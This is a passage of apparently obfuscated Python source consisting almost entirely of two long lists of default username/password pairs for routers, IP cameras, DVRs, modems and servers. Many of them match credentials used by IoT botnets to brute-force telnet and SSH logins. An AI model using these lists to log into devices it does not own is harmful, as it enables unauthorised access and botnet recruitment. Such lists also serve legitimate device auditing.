"admin/CenturyL1nk" ,
"admin/QwestM0dem" ,
"support/support" ,
"root/123456" ,
"root/1234" ,
"root/12345" ,
"root/1001chin" ,
"root/password" ,
"admin/password" ,
"root/54321" ,
"root/juantech" ,
"root/admin" ,
"admin/7ujMko0admin" ,
"admin/smcadmin" ,
"admin/admin1234" ,
"admin/12345" ,
"admin/123456" ,
"admin/1111" ,
"root/Zte521" ,
"root/jvbzd" ,
"user/user" ,
"admin/smcadmin" ,
"guest/guest" ,
"root/dreambox" ,
"root/zlxx." ,
"ubnt/ubnt" ,
"root/cat1029" ,
"root/hunt5759" ,
"root/adminpassword" ,
"root/5up" ,
"admin/zhone" ,
"admin/admin1" ,
"root/" ,
"admin/epicrouter" ,
"root/123456" ,
"root/antslq" ,
"admin/admin123" ,
"supervisor/zyad1234" ,
"admin/1234567890" ,
"superadmin/Is$uper@dmin" ,
"admin/ho4uku6at" ,
"support/admin" ,
"root/123" ,
"root/1234567890" ,
"1234/1234" ,
"admin/54321" ,
"root/win1dows" ,
"admin/" ,
"root/888888" ,
"admin/888888" ,
"root/Win1doW$" ,
"mg3500/merlin" ,
"root/oelinux123" ,
"ubnt/ubnt" ,
"admin/0000" ,
"admin/11111111" ,
"admin/4321" ,
"admin/654321" ,
"admin/666666" ,
"root/000000" ,
"root/founder88" ,
"root/1111" ,
"admin/system" ,
"guest/123456" ,
"root/666666" ,
"root/0000" ,
"root/Admin" ,
"root/00000" ,
"root/root123" ,
"root/ipcam_rt5350" ,
"guest/guest123" ,
"root/1" ,
"root/win1dows" ,
"Admin/Admin" ,
"ONTUSER/SUGAR2A041" ,
'admin/P@55w0rd!' ,
'123/123' ,
]
if 76 - 76: i1 . OOooOO0 / I11I1Ii * I11I1Ii
iiIO0OOoo = [
'/' ,
"0/0" ,
"1111/1111" ,
"111111/111111" ,
"11111111/11111111" ,
"11111/x-admin" ,
'123/123' ,
"1234/1234" ,
"1502/1502" ,
"22222222/22222222" ,
"266344/266344" ,
"2800/2800" ,
"XXX:3500/24:123456" ,
"XXX:3500/24:pass" ,
"XXX:3500/24:12345" ,
"XXX:3500/24:3500/24" ,
"XXX:3500/24:h179350" ,
"3comcso/RIP000" ,
"666666/666666" ,
"7654321/7654321" ,
"888888/888888" ,
"a/a" ,
"aaa/" ,
"abarco/mistral5885" ,
"acc/acc" ,
"adfexc/adfexc" ,
"admin/" ,
'Admin/' ,
"admin/0" ,
"admin/0000" ,
"admin/1111" ,
"aDMIN/1111" ,
"admin/1111111" ,
"admin/11111111" ,
"admin/1111Admin" ,
"admin/123" ,
"Admin/123" ,
"admin/1234" ,
"Admin/1234" ,
"admin/12345" ,
"admin/123456" ,
"aDMIN/123456" ,
"Admin/123456" ,
"admin/1234567890" ,
"admin/123456Admin" ,
"Admin/123456Admin" ,
"admin/12345Admin" ,
"admin/1234admin" ,
"admin/123Admin" ,
"admin/12888" ,
"Admin/12888" ,
"admin1/password" ,
"admin/2222" ,
"admin/22222" ,
"admin/22222Admin" ,
"admin/2601hx" ,
"admin2/changeme" ,
"admin/362729" ,
"Admin/3UJUh2VemEfUte" ,
"admin/4321" ,
"admin/54321" ,
"Admin/5up" ,
"admin/654321" ,
"admin/666666" ,
"admin/7ujMko0admin" ,
"admin/7ujMko0vizxv" ,
"admin/888888" ,
"admin/9999" ,
"admin/99999999" ,
"admin/abc123" ,
"admin/access" ,
"admin/admin" ,
"admin/ADMIN" ,
"Admin/admin" ,
"Admin/Admin" ,
"ADMIN/ADMIN" ,
"admin/admin00" ,
'admin/admin01' ,
"admin/admin1" ,
"admin/admin123" ,
"admin/Admin123" ,
"admin/admin1234" ,
"admin/admin99" ,
"admin/Administration" ,
"admin/administrator" ,
"admin/adslolitec" ,
"admin/adslroot" ,
'admin/adslnadam' ,
"admin/Ait" ,
"admin/AitbISP4eCiG" ,
"admin/articon" ,
"admin/asante" ,
"admin/Ascend" ,
"admin/asd" ,
"Admin/atc456" ,
"admin/atlantis" ,
"admin/aquario" ,
"admin/Aquario" ,
"admin/barricade" ,
"admin/bayandsl" ,
"admin/BGCVDSL2" ,
"admin/bintec" ,
"admin/cableroot" ,
"admin/cciadmin" ,
"admin/CenturyL1nk" ,
"admin/changeme" ,
"admin/cisco" ,
"admin/COadmin123" ,
"admin/comcomcom" ,
"admin/conexant" ,
"admin/c@ntv2000" ,
"admin/default" ,
"admin/detmond" ,
"admin/diamond" ,
"admin/dvr2580222" ,
"admin/epicrouter" ,
"admin/extendnet" ,
"admin/fliradmin" ,
"admin/giraff" ,
"admin/gvt12345" ,
"admin/h@32LuyD" ,
"admin/hagpolm1" ,
"admin/hello" ,
"admin/ho4uku6at" ,
"admin/hp.com" ,
"admin/htc" ,
"Admin/huawei.com" ,
"admin/imss7.0" ,
"admin/ip20" ,
"admin/ip3000" ,
"admin/ip400" ,
"admin/ironport" ,
"admin/isee" ,
"Administrator/" ,
"administrator/1234" ,
"Administrator/-%).3-" ,
"Administrator/3!play" ,
"Administrator/3ware" ,
"Administrator/admin" ,
"administrator/administrator" ,
"ADMINISTRATOR/ADMINISTRATOR" ,
"Administrator/buh" ,
"Administrator/changeme" ,
"administrator/d1scovery" ,
"Administrator/ganteng" ,
"Administrator/ggdaseuaimhrke" ,
"Administrator/letmein" ,
"Administrator/password" ,
"Administrator/pilou" ,
"Administrator/public" ,
"Administrator/smcadmin" ,
'admin/2008x2BJAOTOtJK1' ,
'admin/2008B6ByVO_utFJ3' ,
'admin/2008x2CzFWOtTMWE' ,
"admin/ecom" ,
'admin/GPAdm1n_w1max' ,
'admin/hamlet' ,
'admin/hayesadsl' ,
"admin/jvc" ,
"admin/JVC" ,
"admin/kont2004" ,
"admin/linga" ,
"admin/Meins" ,
"admin/meinsm" ,
"admin/michaelangelo" ,
"admin/michelangelo" ,
"admin/microbusiness" ,
"admin/motorola" ,
"admin/mu" ,
"admin/my_DEMARC" ,
"admin/nCwMnJVGag" ,
"admin/netadmin" ,
"admin/NetCache" ,
"admin/noway" ,
"admin/none" ,
"admin/OCS" ,
"admin/operator" ,
"admin/P@55w0rd!" ,
"admin/password" ,
"admin/pentagram" ,
"admin/pfsense" ,
"adminpldt/0123456789" ,
"adminpldt/12345676890" ,
"adminpldt/1234567890" ,
"admin/power" ,
"admin/Protector" ,
"admin/public" ,
"admin/pwp" ,
"admin/QwestM0dem" ,
"admin/radius" ,
"admin/rmnetlm" ,
"admin/root" ,
"admin/secure" ,
"admin/setup" ,
"admin/Sharp" ,
"admin/sitecom46" ,
"admin/skbiptv" ,
"admin/skb_wifi" ,
"admin/sky" ,
"admin/smallbusiness" ,
"admin/smcadmin" ,
"adminstat/OCS" ,
"adminstrator/changeme" ,
"Adminstrator/changeme" ,
"admin/superuser" ,
"admin/su@psir" ,
"admin/switch" ,
"admin/symbol" ,
"admin/synnet" ,
"admin/sysAdmin" ,
"admin/system" ,
"admintelecom/telecomadmin" ,
"admin/test" ,
"admin/test1" ,
'admin/telus177' ,
"admin/trendchip" ,
"admin/true" ,
"admin/tsunami" ,
"adminttd/adminttd" ,
"admin/Uq-4GIt3M" ,
"adminuser/OCS" ,
"admin/utstar" ,
"adminview/OCS" ,
"admin/visual" ,
"admin/vnpt" ,
"admin/w2402" ,
"admin/wbox" ,
"admin/xad$l#12" ,
"admin/x-admin" ,
"admin/zhone" ,
"admin/zoomadsl" ,
'admin/ZmqVfoSIP' ,
"ADMN/admn" ,
"adsl/adsl1234" ,
"ADSL/expert03" ,
"ADVMAIL/HP" ,
"ADVMAIL/HPOFFICE" ,
'Afaq_shamel/stccpe_2007' ,
"Alphanetworks/firmware" ,
"Alphanetworks/wapnd03cm_dkbs_dap2555" ,
"Alphanetworks/wapnd04cm_dkbs_dap3525" ,
"Alphanetworks/wapnd15_dlob_dap1522b" ,
"Alphanetworks/wrgac01_dlob.hans_dir865" ,
"Alphanetworks/wrgg15_di524" ,
"Alphanetworks/wrgg19_c_dlwbr_dir300" ,
"Alphanetworks/wrgn22_dlwbr_dir615" ,
"Alphanetworks/wrgn23_dlwbr_dir300b" ,
"Alphanetworks/wrgn23_dlwbr_dir600b" ,
"Alphanetworks/wrgn28_dlob_dir412" ,
"Alphanetworks/wrgn39_dlob.hans_dir645" ,
"Alphanetworks/wrgn39_dlob.hans_dir645_V1" ,
"Alphanetworks/wrgn49_dlob_dir600b" ,
"Alphanetworks/wrgnd08_dlob_dir815" ,
"anonymous/any@" ,
"anonymous/Exabyte" ,
"Any/12345" ,
"apache/apache" ,
"apc/apc" ,
"arris/admin" ,
"ascend/ascend" ,
"at4400/at4400" ,
"baby/baby" ,
"backup/backup" ,
"bbsd-client/changeme2" ,
"bbsd-client/changeme2database" ,
"bbsd-client/NULL" ,
"bciim/bciimpw" ,
"bcim/bcimpw" ,
"bcms/bcmspw" ,
"bcnas/bcnaspw" ,
"bewan/bewan" ,
"bin/12345" ,
"blue/bluepw" ,
"browse/browsepw" ,
"browse/looker" ,
"cablecom/router" ,
"cablemodem/robotics" ,
"cac_admin/cacadmin" ,
'caimore/caimore' ,
"cas/cascade" ,
"ccrusr/ccrusr" ,
"cellit/cellit" ,
"centos/centos" ,
"cgadmin/cgadmin" ,
"cisco/cisco" ,
"cisco/CISCO" ,
"Cisco/Cisco" ,
"citel/password" ,
"cjadmin/CJHV_ap_0601" ,
"client/client" ,
"cmaker/cmaker" ,
"comcast/1234" ,
"comcast/comcast" ,
"corecess/corecess" ,
"craft/craft" ,
"craft/craftpw" ,
"craft/crftpw" ,
"CRAFTSPERSON/ALC#FGU" ,
"csgoserver/csgoserver" ,
"CSG/SESAME" ,
"cusadmin/highspeed" ,
"cust/custpw" ,
"customer/none" ,
"dadmin/dadmin01" ,
"daemon/" ,
"daemon/daemon" ,
"davox/davox" ,
"debug/d.e.b.u.g" ,
"debug/synnet" ,
"default/" ,
"default/default" ,
"default/video" ,
"demo/demo" ,
"deploy/deploy" ,
"deskalt/password" ,
"deskman/changeme" ,
"desknorm/password" ,
"deskres/password" ,
"dev/dev" ,
"device/device" ,
"dhs3mt/dhs3mt" ,
"dhs3pms/dhs3pms" ,
"diag/danger" ,
"diag/switch" ,
"disttech/4tas" ,
"dlink/default" ,
"dlink/dlink" ,
"D-Link/D-Link" ,
"DLink/DLink" ,
"dm/telnet" ,
"draytek/1234" ,
"draytek/1234Admin" ,
"DTA/TJM" ,
"e250/e250changeme" ,
"e500/e500changeme" ,
"echo/echo" ,
"edimax/software01" ,
"eng/engineer" ,
"engmode/hawk201" ,
"enquiry/enquirypw" ,
"epicrouter/admin" ,
"Factory/56789Admin" ,
"FIELD/HPONLY" ,
"FIELD/HPP187 SYS" ,
"FIELD/HPWORD PUB" ,
"FIELD/LOTUS" ,
"FIELD/MANAGER" ,
"FIELD/MGR" ,
"FIELD/SERVICE" ,
"field/support" ,
"FIELD/SUPPORT" ,
"ftp_admi/kilo1987" ,
"ftp/ftp" ,
"ftp_inst/pbxk1064" ,
"ftp_nmc/tuxalize" ,
"ftp_oper/help1954" ,
"ftpuser/asteriskftp" ,
"ftpuser/ftpuser" ,
"Geardog/Geardog" ,
"GEN1/gen1" ,
"GEN2/gen2" ,
"git/git" ,
"GlobalAdmin/GlobalAdmin" ,
"Glo/Glo" ,
"guest/12345" ,
"guest/123456" ,
"guest/54321" ,
"guest/guest" ,
"Guest/Guest" ,
"guest/guest123" ,
'guest/friend' ,
"guest/truetime" ,
"guest/user" ,
"guest/xc3511" ,
"hadoop/hadoop" ,
"halt/tlah" ,
"HELLO/FIELD.SUPPORT" ,
"HELLO/MANAGER.SYS" ,
"HELLO/MGR.SYS" ,
"HELLO/OP.OPERATOR" ,
"helpdesk/OCS" ,
'home/zonnet' ,
"homebro/homebro" ,
"homeultera/homeultera" ,
"hsa/hsadb" ,
"hsa/hsasdb" ,
"hscroot/abc123" ,
"HTTP/HTTP" ,
"ibm/password" ,
"iclock/timely" ,
"inads/inads" ,
"inads/indspw" ,
"info/info" ,
"init/initpw" ,
"installer/installer" ,
"install/llatsni" ,
"install/secret" ,
"integrator/p1nacate" ,
"intel/intel" ,
"intermec/intermec" ,
"IntraStack/Asante" ,
"IntraSwitch/Asante" ,
"JDE/JDE" ,
"jenkins/jenkins" ,
"kermit/kermit" ,
"kpn/kpn-adsl" ,
"kroot/nespot" ,
"ktuser/homehub" ,
"ktuser/megaap" ,
"l2/l2" ,
"l3/l3" ,
"Linksys/admin" ,
"live/live" ,
"locate/locatepw" ,
'localadmin/localadmin' ,
"login/0" ,
"login/1111" ,
"login/8429" ,
"login/access" ,
"login/admin" ,
"login/pass" ,
"login/password" ,
"login/user" ,
"lp/lp" ,
"LUCENT01/UI-PSWD-01" ,
"LUCENT02/UI-PSWD-02" ,
"m1122/m1122" ,
"MAIL/HPOFFICE" ,
"MAIL/MAIL" ,
"MAIL/MPE" ,
"MAIL/REMOTE" ,
"MAIL/TELESUP" ,
"maint/maint" ,
"maint/maintpw" ,
"maint/ntacdmax" ,
"maint/rwmaint" ,
"manage/!manage" ,
"Manage/Manage" ,
"Management/TestingR2" ,
"manage/password" ,
"Manager/" ,
"manager/admin" ,
"MANAGER/COGNOS" ,
"manager/friend" ,
"Manager/friend" ,
"MANAGER/HPOFFICE" ,
"MANAGER/ITF3000" ,
"manager/manager" ,
"Manager/Manager" ,
"MANAGER/SECURITY" ,
"MANAGER/SYS" ,
"MANAGER/TCH" ,
"MANAGER/TELESUP" ,
"manuf/xxyyzz" ,
"MD110/help" ,
"MDaemon/MServer" ,
"mediator/mediator" ,
"MegaVNN/MegaVNN" ,
"memotec/supervisor" ,
"Menara/Menara" ,
"mg3500/merlin" ,
"MGR/CAROLIAN" ,
"MGR/CCC" ,
"MGR/CNAS" ,
"MGR/COGNOS" ,
"MGR/CONV" ,
"MGR/HPDESK" ,
"MGR/HPOFFICE" ,
"MGR/HPONLY" ,
"MGR/HPP187" ,
"MGR/HPP189" ,
"MGR/HPP196" ,
"MGR/INTX3" ,
"MGR/ITF3000" ,
"MGR/NETBASE" ,
"MGR/REGO" ,
"MGR/RJE" ,
"MGR/ROBELLE" ,
"MGR/SECURITY" ,
"MGR/SYS" ,
"MGR/TELESUP" ,
"MGR/VESOFT" ,
"MGR/WORD" ,
"MGR/XLSERVER" ,
"MICRO/RSX" ,
"micros/micros" ,
"minecraft/minecraft" ,
"mlusr/mlusr" ,
"monitor/monitor" ,
"mother/fucker" ,
"mountsys/mountsys" ,
"mso/w0rkplac3rul3s" ,
"mtch/mtch" ,
"mtcl/mtcl" ,
"museadmin/Muse!Admin" ,
"mysql/mysql" ,
"naadmin/naadmin" ,
"nagios/nagios" ,
"NAU/NAU" ,
"netadmin/nimdaten" ,
"netgear/netgear" ,
"netman/" ,
"netman/netman" ,
"netopia/netopia" ,
"netrangr/attack" ,
"netscreen/netscreen" ,
"NETWORK/NETWORK" ,
"NICONEX/NICONEX" ,
"nms/nmspw" ,
"nobody/nobody" ,
"nobody/tmadmin" ,
"none/0" ,
"none/0Admin" ,
"none/4getme2" ,
"none/admin" ,
"none/admin00" ,
"none/ascend" ,
"none/backdoor" ,
"none/BRIDGE" ,
"none/Col2ogro2" ,
"none/Helpdesk" ,
"none/laflaf" ,
"none/Master" ,
"none/NetICs" ,
"none/Posterie" ,
"none/smcadmin" ,
"none/Super" ,
"none/xdfk9874t3" ,
"ONTUSER/SUGAR2A041" ,
"openlgtv/openlgtv" ,
"operator/1234User" ,
"operator/$chwarzepumpe" ,
"OPERATOR/COGNOS" ,
"operator/col1ma" ,
"OPERATOR/DISC" ,
"operator/mercury" ,
"operator/operator" ,
"OPERATOR/SUPPORT" ,
"OPERATOR/SYS" ,
"OPERATOR/SYSTEM" ,
"op/op" ,
"op/operator" ,
"oracle/oracle" ,
"osmc/osmc" ,
"patrol/patrol" ,
"PBX/PBX" ,
"PCUSER/SYS" ,
"PFCUser/240653C9467E45" ,
"piranha/piranha" ,
"piranha/q" ,
"pi/raspberry" ,
"PlcmSpIp/PlcmSpIp" ,
"pldtadmin/1234567890" ,
"poll/tech" ,
"Polycom/SpIp" ,
"pos/pos" ,
"postgres/postgres" ,
"PRODDTA/PRODDTA" ,
"PSEAdmin/$secure$" ,
"public/public" ,
"quser/quser" ,
"radware/radware" ,
"rapport/r@p8p0r+" ,
"rcust/rcustpw" ,
"readonly/lucenttech2" ,
"readwrite/lucenttech1" ,
"recovery/recovery" ,
"replicator/replicator" ,
"RMUser1/password" ,
"!root/" ,
"root/" ,
"root/0" ,
"root/0000" ,
"root/00000" ,
"root/000000" ,
"root/00000000" ,
"root/1" ,
"root/1001chin" ,
"root/1111" ,
"root/123" ,
"root/123123" ,
"root/1234" ,
"root/12341234" ,
"root/12345" ,
"root/123456" ,
"root/1234567" ,
"root/1234567890" ,
"root/1234qwer" ,
"root/1234User" ,
"root/20080826" ,
"root/2222222" ,
"root/22222222" ,
"root/33333333" ,
"root/321" ,
"root/33" ,
"root/333" ,
"root/3ep5w2u" ,
"root/4321" ,
"root/54321" ,
"root/5up" ,
"root/654321" ,
"root/666666" ,
"root/696969" ,
"root/7ujMko0admin" ,
"root/7ujMko0vizxv" ,
"root/888888" ,
"root/a6a7wimax" ,
"root/admin" ,
"root/Admin" ,
"root/admin99" ,
"root/admin_1" ,
"root/adminpassword" ,
"root/ahetzip8" ,
"root/alpine" ,
"root/anko" ,
"root/antslq" ,
"root/ascend" ,
'root/asmcadmin' ,
"root/attack" ,
"root/avtech" ,
"root/awind5885" ,
"root/b120root" ,
"root/blender" ,
"root/calvin" ,
"root/camera" ,
"root/cat1029" ,
"root/changeme" ,
"root/Cisco" ,
"root/cms500" ,
"root/comcom" ,
"root/coolphoenix579" ,
"root/davox" ,
"root/default" ,
"root/dreambox" ,
"root/dreambox" ,
"root/fivranne" ,
"root/founder88" ,
"root/ggdaseuaimhrke" ,
"root/GM8182" ,
"root/GMB182" ,
"root/hi3518" ,
"root/huigu309" ,
"root/hunt5759" ,
"root/iDirect" ,
"root/ikwb" ,
"root/ikwd" ,
"root/indigo" ,
"root/inflection" ,
"root/ipcam_rt5350" ,
"root/juantech" ,
"root/jvbzd" ,
"root/klv123" ,
"root/klv1234" ,
"root/letacla" ,
"root/LSiuY7pOmZG2s" ,
"root/Mau'dib" ,
"root/maxided" ,
"root/oelinux123" ,
"root/openvpnas" ,
"root/oracle" ,
"root/orion99" ,
"root/pa55w0rd" ,
"root/pass" ,
"root/password" ,
"root/PASSWORD" ,
"root/permit" ,
"root/qwerty" ,
"root/realtek" ,
"root/reecam4debug" ,
"root/root" ,
"root/root123" ,
"root/root1234" ,
"root/root12345" ,
"root/root123456" ,
"root/ROOT500" ,
"root/root54321" ,
"root/samsung" ,
"root/Serv4EMC" ,
"root/skb_ipdcp" ,
"root/system" ,
"root/t0talc0ntr0l4!" ,
"root/tiger" ,
"root/tini" ,
"root/toor" ,
"root/tslinux" ,
"root/ttnet" ,
"root/u" ,
"root/ubnt" ,
"root/user" ,
'root/vertex25ektks123' ,
"root/video" ,
"root/vizxv" ,
"root/Win1doW$" ,
"root/win1dows" ,
'root/wind5885' ,
"root/W!n0&oO7." ,
"root/wyse" ,
"root/xc3511" ,
"root/xmhdipc" ,
"root/zlxx." ,
"root/zsun1188" ,
"root/Zte521" ,
"root/Zte521" ,
"root/zte9x15" ,
"ro/ro" ,
"router/router" ,
"RSBCMON/SYS" ,
"rwa/rwa" ,
"rw/rw" ,
"scmadmin/scmchangeme" ,
"scout/scout" ,
"security/security" ,
"Service/5678Service" ,
"service/service" ,
"service/smile" ,
"setup/changeme!" ,
"setup/changeme" ,
"setup/setup" ,
"simple/h3c" ,
"simple/huawei" ,
"smc/smcadmin" ,
"spcl/0" ,
"SPOOLMAN/HPOFFICE" ,
"steam/steam" ,
"storwatch/specialist" ,
"stratacom/stratauser" ,
"super/5777364" ,
"superadmin/Is$uper@dmin" ,
"superadmin/secret" ,
"superman/21241036" ,
"superman/superman" ,
"superman/talent" ,
"super/asong" ,
"super/super" ,
"super.super/master" ,
"super/surt" ,
"superuser/123456" ,
"superuser/123456special" ,
"superuser/admin" ,
"superuser/superuser" ,
"supervisor/PlsChgMe!" ,
"supervisor/PlsChgMe" ,
"supervisor/PlsChgMe1" ,
"supervisor/supervisor" ,
"supervisor/zyad1234" ,
"support/123456" ,
"support/admin" ,
"support/h179350" ,
"support/support" ,
"support/supportpw" ,
"susAdmin/Administrator" ,
"su/super" ,
"sweex/mysweex" ,
"Sweex/Mysweex" ,
"Symbol/Admin" ,
"sysadm/anicusc" ,
"sysadm/anicust" ,
"sysadmin/PASS" ,
"sysadmin/password" ,
"sysadmin/sysadmin" ,
"sysadm/sysadm/" ,
"sysadm/sysadm" ,
"SYSADM/sysadm" ,
"SYSDBA/masterkey" ,
"system/password" ,
"system/shell" ,
"system/sys" ,
"sys/uplink" ,
"target/password" ,
"teacher/password" ,
"teamspeak/teamspeak" ,
"tech/" ,
"tech/field" ,
"tech/tech" ,
"teladmin/telpwd" ,
"telco/telco" ,
"tele2/tele2" ,
"telecomadmin/******" ,
"telecomadmin/admintelecom" ,
"telecomadmin/n" ,
"telecomadmin/nE7jA%5m" ,
"telecomadmin/telecomadmin" ,
"telecom/telecom" ,
'telekom/telekom' ,
"tellabs/tellabs#1" ,
"telnet/telnet" ,
"temp1/password" ,
"test1/test1" ,
"test/test" ,
"test/test1" ,
"test/test123" ,
"testuser/testuser" ,
"tiara/tiaranet" ,
"tiger/tiger123" ,
"tmadmin/tmadmin" ,
"tmuser/tmuser" ,
"tomcat/tomcat" ,
"topicalt/password" ,
"topicnorm/password" ,
"topicres/password" ,
"true/true" ,
"tw/tw" ,
"tw007/tw007" ,
"u/u" ,
"ubnt/ubnt" ,
"UBNT/UBNT" ,
"ubuntu/ubuntu" ,
"upgrade/Th0ms0n!" ,
"user3/1234" ,
"user3/12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678" ,
"USERID/PASSW0RD" ,
"user/admin" ,
"User/Kulacom" ,
"user/pass" ,
"user/password" ,
"User/Password" ,
"user/power" ,
"user/public" ,
"user/pu" ,
"user/tivonpw" ,
"user/user" ,
"usuario/usuario" ,
"vagrant/vagrant" ,
"vcr/NetVCR" ,
'virgin/password' ,
"vnc/vnc" ,
"VNC/winterm" ,
'vodafone/vodafone' ,
"volition/volition" ,
"vstarcam2015/20150602" ,
"vt100/public" ,
"VTech/VTech" ,
"vyatta/vyatta" ,
'wbrnet/183$729' ,
"webadmin/1234" ,
"webadmin/webadmin" ,
"webmaster/webmaster" ,
"websecadm/changeme" ,
"wlseuser/wlsepassword" ,
"wlse/wlsedb" ,
"WP/HPOFFICE" ,
"Wproot/cat1029" ,
"wradmin/trancell" ,
"write/private" ,
"www/www" ,
"xbox/xbox" ,
"xd/xd" ,
"zabbix/zabbix" ,
"ZXDSL/ZXDSL" ,
"zyuser/1234" ,
'zyad1234/zyad1234' ,
'admin/vizxv' ,
'supervisor/zyad5001' ,
'Mroot/cat1029' ,
'root/aquario' ,
'admin/cat1029' ,
'root/7ujMko0vizxv ' ,
'root/ivdev' ,
'guest1/guest1' ,
'superadmin/' ,
'support/user' ,
'root/zyad5001' ,
'default/antslq' ,
'root/00' ,
'admin/ipcam_rt5350' ,
'root/1111111' ,
'root/12345678' ,
'root/333333' ,
'superadmin/Is@dmin' ,
'support/123' ,
'admin/zyad5001' ,
'admin/support' ,
'root/smcadmin' ,
'admin/pass' ,
'root/qazxsw' ,
'guest/' ,
'root/3333333' ,
'admin/12341234' ,
'support/1234' ,
'root/3' ,
'root/!root' ,
'/1234' ,
'admin/5up' ,
'bin/' ,
'netgear/admin' ,
'root/oelinux1234' ,
'admin/QuestM0dem' ,
'admin/ttnet' ,
'admin/service' ,
'support/' ,
'Admin/Password' ,
'root/hdipc%No' ,
'adm/' ,
'super.super/' ,
'administrator/changeme' ,
'root/555555' ,
'home/12345678' ,
'admin/meinsm' ,
'root/9999' ,
'user/' ,
'cusadmin/password' ,
'user/123456' ,
'root/1988' ,
'root/jv' ,
'root/555' ,
'root/3ep5w2u' ,
'admin/zhongxing' ,
'admin/ca' ,
'guest/VTech' ,
'root/33333' ,
'root/11111111' ,
'root/root4321' ,
'admin/adslnadam' ,
'guest/1111' ,
'enable/cisco' ,
'admin/7772000' ,
'login/comcast' ,
'root/zhongxing' ,
'test/' ,
'adminstrator/meinsm' ,
'support/12345' ,
'Administrator/meinsm' ,
'support/password' ,
'sys/sys' ,
'admin/vertex25ektks123' ,
'admin/Win1doW$' ,
'admin/xad#12' ,
'Admin/smcadmin' ,
'root/xc251' ,
'root/support' ,
'support/pass' ,
'root/0P3N' ,
'root/Administrator' ,
'svn/svn' ,
'admin/zsun1188' ,
'user/1234' ,
'root/3333' ,
'admin/8D8E' ,
'root/777' ,
'admin/ztonpk' ,
'Conf/admin' ,
'root/asdfgh' ,
'default/123456' ,
'sysadm/admin' ,
'root/alien' ,
'support/telnet' ,
'admin/44444' ,
'alice/alice' ,
'0000/0000' ,
'user/raspberry' ,
'test/guest' ,
'root/123qwe' ,
'root/vI' ,
'supervisor/enable' ,
'/clear123' ,
'service/enable' ,
'root/reecam4de' ,
'cisco/default' ,
'root/annie2012' ,
'sh/shell' ,
'osteam/5up' ,
'root/wsxzaq' ,
'root/xc3518' ,
'admin/guest' ,
'root/xc3515' ,
'support/qrst' ,
'1/1' ,
'root/VTech' ,
'admin/7' ,
'admin/qwerty' ,
'netgear/VTech' ,
'admin/263297' ,
'root/letmein' ,
'servlet/manager' ,
'administrator/Amx1234!' ,
'user/manager' ,
'VUTS/VUTS' ,
'admin/444444' ,
'/0000' ,
'admin/Administrator' ,
'root/111111' ,
'netgear/Administrator' ,
'root/99999' ,
'netgear/root' ,
'root/qwertyuiop' ,
'/root' ,
'root/55555555' ,
'root/12' ,
'support/enable' ,
'/TRWW' ,
'guest/enable' ,
'support/root' ,
'admin/flvbyctnb' ,
'root/yankeessam40:1961' ,
'test/testing' ,
'pnadmin/pnadmin' ,
'sphinx/sphinx' ,
'admin/ghbdtn' ,
'admin/FERUM' ,
'admin/amvqnekk' ,
'admin/airlive' ,
'netgear/password' ,
'admin/9' ,
'webstar/webstar' ,
'root/2' ,
'support/cisco' ,
'admin/3333333' ,
'johnny/johnny' ,
'login/guest' ,
'xbmc/bananapi' ,
'ahetzip8/ahetzip8' ,
'support/vagrant' ,
'mgmt/mgmt' ,
'admin/0508780503' ,
'admin/vagrant' ,
'guest/password' ,
'admin/99' ,
'admin/00' ,
'login/manager' ,
'Administrator/Administrator' ,
'user/pi' ,
'admin/adminstrator' ,
'root/22' ,
'root/hi3511' ,
'root/public' ,
'cisco/password' ,
'admin/7BBC' ,
'admin/22' ,
'admin/RTadmin1979' ,
'admin/123456780' ,
'admin/<>' ,
'cisco/support' ,
'admin/2w4f6n8k' ,
'admin/Ferrum' ,
'guest/netgear' ,
'root/7777777' ,
'netgear/123456' ,
'admin/biyshs9eq' ,
'realtek/realtek' ,
'login/test' ,
'root/9999999' ,
'admin/99999' ,
'login/telnet' ,
'admin/tech' ,
'admin/&' ,
'postgres/postgrespass' ,
'/enable' ,
'admin/D-Link' ,
'netgear/1234' ,
'administrator/password' ,
'admin/1q2w3e' ,
'cisco/guest' ,
'bananapi/bananapi' ,
'root/44' ,
'ftp/password' ,
'login/cisco' ,
'admin/oelinux123' ,
'user/login' ,
'root/telnet' ,
'admin/hsparouter' ,
'root/grouter' ,
'Adminstrator/smcadmin' ,
'support/Administrator' ,
'admin/9999999' ,
'guest/ubnt' ,
'root/pi' ,
'cpanel/cf46e3bdb4b929f1' ,
'root/abc123' ,
'tyler/tyler' ,
'admin/adsladmin' ,
'root/comcast' ,
'root/666' ,
'ziggo/draadloos' ,
'guest/xc3611' ,
'ubnt/ubntenable' ,
'admin/cat' ,
'maint1/sx2000' ,
'guest/support' ,
'root/8888888' ,
'share/share' ,
'user/Administrator' ,
'admin/P' ,
'root/openssh' ,
'admin/beeline2013' ,
'admin/szt' ,
'dm3500/merlin' ,
'larry/larry' ,
'root/88888' ,
'LocalService/DV5800' ,
'airlive/airlive' ,
'admin/user' ,
'root/3e2w1q' ,
'mt7109/wimax' ,
'admin/letmein' ,
'guest/pass' ,
'admin/999999999' ,
'administrator/123' ,
'support/guest' ,
'daniel/daniel' ,
'prueba/prueba' ,
'guest/pi' ,
'login/D-Link' ,
'jeff/jeff' ,
'root/cisco' ,
'root/22222' ,
'user/vizxv' ,
'motherfucker/enable' ,
'admin/1234root' ,
'root/zlxx' ,
'admin/6' ,
'netgear/default' ,
'admin/555555' ,
'admin/raspberry' ,
'office/office' ,
'admin/ERRU$' ,
'svn/123456' ,
'admin/5' ,
'admin/zyxel' ,
'root/bananapi' ,
'admin/12' ,
'uucp/uucp' ,
'test/123456' ,
'download/download' ,
'ubnt/enable' ,
'tst/tst' ,
'cisco/1234' ,
'admin/netgear' ,
'root/77777777' ,
'ems/ems' ,
'admin/00000000' ,
'test/testtest' ,
'login/Administrator' ,
'guest/comcast' ,
'admin/asus' ,
'support/netgear' ,
'rob/rob' ,
'adsl/realtek' ,
'admin/555555555' ,
'cisco/12345' ,
'admin/Admin' ,
'/private' ,
'secret/secret' ,
'cisco/user' ,
'admin/5555555' ,
'user/D-Link' ,
'super/APR@xuniL' ,
'admin/33333333' ,
'engineer/amplifier' ,
'superdba/admin' ,
'nuucp/nuucp' ,
'admin/adsl' ,
'admin/beeline' ,
'admin/ipcamera' ,
'default/user' ,
'root/102030' ,
'root/nosoup4u' ,
'sh/sh' ,
'admin/internet' ,
'admin/free' ,
'noc/noc' ,
'root/222' ,
'______/______' ,
'QQQQQQ/QQQQQQ' ,
'kevin/kevin' ,
'root/qkrrud7502' ,
'root/66666666' ,
'root/8' ,
'ajay/ajay' ,
'netgear/pi' ,
'/admin' ,
